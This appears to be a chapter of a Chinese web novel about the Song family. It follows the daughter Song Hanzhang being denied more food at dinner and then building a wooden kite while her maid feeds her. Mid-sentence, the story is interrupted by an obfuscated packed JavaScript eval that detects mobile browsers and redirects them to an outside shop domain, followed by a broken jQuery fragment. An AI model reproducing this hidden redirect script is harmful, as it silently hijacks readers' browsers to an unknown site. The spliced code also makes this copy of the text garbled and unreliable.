皇上一道圣旨，要修编一本关于宁国奇山异水和各地风物的书籍。此事看似风雅，实则浩大——宁国疆域辽阔，山川形胜、风土人情千差万别，若要一一核实、考订、编纂，非数月之功不能完成。
翰林学士院里，可谓忙碌不已。执掌翰林学士院的宋四维已领着各位属下伏案奋笔疾书近两月，案上的文稿堆成了小山，砚台里的墨干了又添，添了又干。
从核实各地呈报的风物记录，到校对口述与文献的出入，每一条记载都要经过反复比对，不得有半分差错。经过不重复的证实和校对，终于在今日夕阳西下之时，完成了这部浩繁的编著。
整整忙碌两月，翰林学士院的各位院官都好久没有归家了。他们的案头上摞满了各地呈上来的风物志和舆图，屏风上贴满了密密麻麻的批注，连茶盏里的茶凉了都顾不上喝一口。有人困了就伏在案上打个盹，醒了又继续提笔——这两个月里，翰林学士院的灯火常常亮到天明。
宋四维率先放下笔，那支笔搁在笔山上，发出轻微的一声响，像是两个月来最动听的休止符。他环顾众人，朗声笑道："诸位辛苦了，早些回去，家中的灯火该亮起来了。"
众人听了，都欣喜不已，纷纷搁笔，互相拱手道别，脸上挂着疲惫而满足的笑容。宋四维快速收拾好笔墨纸砚，脚步松快地踏出了翰林学士院的大门，那步伐比谁都走得快——他比任何人都更急着回家。旁人笑他身居高位却最念家，他只笑道："功名再大，大不过家里一顿热饭。"
夕阳还未完全落下，余晖正温柔地覆在京城的屋顶上。宋府的前厅里，灯火渐次亮起，饭菜的香气在空气中弥漫开来。宋四维和夫人坐在上首，宋行简、程国恩、宋玉章、肖朗、宋含章、宋引章、宋清扬依次而坐。一家人围坐一桌，碗筷交错间，是宋家最寻常也最珍贵的烟火气。
肖朗也是宋四维的养子。三岁时，他被宋四维从雪地里捡回来。那年冬天格外寒冷，京城下了三天三夜的大雪，宋四维出城办事，在路边看见一个蜷缩在雪堆里的小小身影。等他跑过去时，孩子已冻得浑身发紫，没了呼吸。是宋夫人把孩子抱在怀里，用体温暖着他，整整捂了一夜，才将他从鬼门关拉了回来。
宋四维和宋夫人自此把他当作亲子，视如己出。肖朗喜欢习武，宋四维便送他去习武，不因他是养子而有半分轻慢。在这个家里，亲生的和收养的，从来都只用一个称呼——"孩子"。
饭桌上，除了宋含章，其他人一边吃，一边聊着趣事。宋行简说着书院里的见闻，宋玉章偶尔插一句温婉的点评，宋引章和宋清扬两个小家伙你一句我一句地斗嘴，程国恩沉默地给每一个人添茶，肖朗则埋头扒饭，不时抬头插一句俏皮话，逗得众人发笑。
世间之人，特别是那些贵女——包括宋玉章和才八岁的宋引章在内——吃饭是为了活着。她们夹菜的动作优雅，咀嚼时不露齿，甚至连碗筷相碰的声响都轻得几不可闻。
而宋含章活着，就是为了吃饭。
每次到吃饭的时辰，她最为积极。人还没进前厅，脚步声已经咚咚咚地响了一路。
饭桌上，她吃得豪爽——一大口饭，一大口菜，腮帮子塞得鼓鼓囊囊。不过，虽说是豪爽，她并不会吧唧嘴，不会翻菜挑拣，也不会伸手去够远处的盘子。高门贵府的教养，在她身上以另一种方式存在着——不精致，不优雅，但自有一份天真质朴的分寸。
正在给小女儿宋引章布菜的宋夫人，余光瞥见宋含章已经风卷残云般吃完了第三碗米饭，正伸手去盛第四碗。她赶紧站起来，伸手夺走了宋含章的碗，语气里满是心疼与无奈："团团，你不能再吃了。你看你，都圆成什么样了？再这么吃下去，身子怎么受得住。"
宋含章看了看与大家身形格格不入的自己，慢慢起身站到一旁。她不吵不闹，也不撒娇耍赖，只是安静地站着，不言不语，两只明亮的、水汪汪的大眼睛直直地盯着饭桌上的饭菜，喉咙里一下一下地咽着口水。
那目光里没有委屈，没有愤怒，只有一种纯粹的、本能的渴望——像是一个站在饴糖铺外隔着柜台往里看的孩子，明明近在咫尺，却被告知那不属于自己。
宋四维见了，心疼得不行。他夹起一个鸡腿，正要递给宋含章。宋夫人眼疾手快，立刻伸手拦住，目光坚定，像一堵不可逾越的墙。
宋四维与宋夫人对视一眼，那一眼里包含了许多——他心疼女儿，她也心疼女儿，只是心疼的方式不同。
他怕女儿饿着，她怕女儿将来为这身肉受更多的苦。他叹了口气，缓缓收回了手，把鸡腿放回了碟子里，筷子搁在碗沿上，发出轻轻的一声响。
其他兄弟姐妹见了也心疼，也想给宋含章夹一些吃的——宋行简的手已经摸上了筷子，程国恩的目光在红烧肉上停留了许久，肖朗更是直接撕了半只烧鹅腿——可宋夫人的目光盯得紧紧的，他们只能作罢，各自把夹起来的菜又默默放回了自己碗里。宋玉章看着妹妹咽口水的样子，悄悄将自己的点心用帕子包好，打算饭后偷偷塞给她。
饭后，天色已暗，宋府各处渐次掌起了灯。
宋含章回到了自己的房间。她的房间与寻常闺秀的闺房截然不同——没有绣架，没有妆奁，墙角立着一排木头架子，上面摆满了锯子、刨刀、凿子、墨斗，以及大大小小半成品的木头零件，空气里弥漫着一股淡淡的木屑清香。
她点上灯，在桌前坐下，拿起锯子和刨刀，展开一张自己绘制的图纸，开始专注地制作木鸢。烛火照在她圆圆的脸庞上，那双平日里满是倔强的眼睛，此刻沉静而明亮，仿佛喧嚣了一天之后，终于找到了属于自己的一方天地。
她的手指虽然粗短，却出奇地灵巧。锯木、刨平、打磨、拼接，每一个动作都稳而准，像是做过千百遍。
墨家机关道的那些书里写到的飞鸢构造，她读了几遍就记在了心里，此刻正一点一点地把纸上的图形变成立体
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17618685|206141||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的构件。
胖乎乎的春夏轻轻踏进房间，脚步轻很轻，她双手放在背后，慢慢走到宋含章的身边。烛光把两个女孩子的影子投在墙上，一个壮实如山，一个矮胖如球，倒是一对奇妙的组合。
宋含章正全神贯注地打磨着木鸢的翅膀，刨刀在木头上推出薄薄的刨花，一卷一卷地落在桌面上，并没有察觉春夏进屋。
春夏看着她那副专注的模样，抿嘴偷偷笑了一下，便把藏在背后的东西拿出来——一大块还冒着热气的鸡肉。她撕下一块，轻轻递到宋含章的嘴边。
专注的宋含章依旧没有抬头，眼睛始终盯着手里的木鸢构件，只是下意识地张开了嘴巴，接住了春夏递来的鸡肉，鼓着腮帮子嚼了起来。
春夏笑着又撕下一块，再次递过去。就这样，一个不停地投喂，一个一边吃着一边忙碌着自己的事情，两个人之间形成了一种默契而温暖的节奏——不需要言语，不需要对视，却比任何交流都更亲近。灯下的木屑与肉香混在一起，成了这间屋子里独有的气息。
春夏是宋含章从街上捡来的。那是一个冬日的傍晚，宋含章从书院散学回家的路上，看见一个瘦弱的小女孩蜷缩在街角的墙根下，衣衫单薄，脸冻得发青，面前放着一个破碗，碗里空空如也。宋含章二话不说，把自己带的点心全塞给了她，然后拉着她的手回了宋府。宋四维和宋夫人见这孩子孤苦无依，便让她留了下来，成了宋含章的侍女。
说是侍女，倒不如说是姐妹。两个人同吃同住，春夏睡觉就与宋含章挤在一张床上。冬天的时候，春夏怕冷，宋含章便把她搂在怀里，用自己的体温给她取暖；夏天的时候，春夏便整夜给宋含章摇扇子，怕她热得睡不着。
府里有些下人起初瞧不起春夏，说她是"街上捡来的野丫头"，宋含章听了，直接拎起那人扔进了后院的池里，从此再没人敢多说一句。
春夏在宋府，有吃有穿，身体也迅速膨胀，成了一个圆球。
此刻，春夏看着宋含章一边专注地做木鸢一边嚼着鸡肉的样子，眼里满是柔和的笑意。她家姑娘在外面是让人闻风丧胆的"大混世魔王"，可在她眼里，只是一个饿了会咽口水、做事会忘了吃饭、需要人往嘴里塞肉的傻姑娘。
"姑娘，"春夏终于忍不住开口，声音软软的，"这木鸢做好了，能飞起来吗？"
宋含章终于抬起头，眼睛亮了一下，嘴角还沾着一点鸡肉的油光，语气笃定得像在宣告一个不可动摇的事实："当然能飞。我算了三遍，翅膀的角度和风力的托举刚好匹配。等做好了，我带你到后山去放，让它飞到云上去。"
春夏用力地点了点头，又撕下一块鸡肉塞进宋含章的嘴里，笑着说："那我可得把鸡肉备足，怕你飞到一半饿了掉下来。"
宋含章嚼着肉，含糊不清地哼了一声，又低下头继续刨木头。烛光在两个人之间安静地燃着，窗外夜色渐浓，屋里的木鸢，正一点一点地长出翅膀来。